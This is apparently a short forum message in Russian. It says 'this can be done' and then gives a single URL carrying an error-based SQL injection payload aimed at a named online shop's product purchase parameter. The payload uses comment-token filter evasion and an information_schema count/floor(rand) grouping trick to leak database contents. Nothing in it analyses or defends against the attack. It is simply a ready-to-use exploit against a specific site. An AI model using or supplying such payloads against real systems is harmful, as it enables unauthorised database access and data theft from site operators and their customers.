Это можно сделать

_http://www.kaifff.com/index.php?action=buy_now&BUYproducts_id=25'/**/and/**/(select/**/1/**/from/**/(select/**/(count(*)),concat((select/**/count(*)/**/from/**/information_schema.tables/**/limit/**/0,1),0x00,floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by(x))/**/a)/**/or/**/'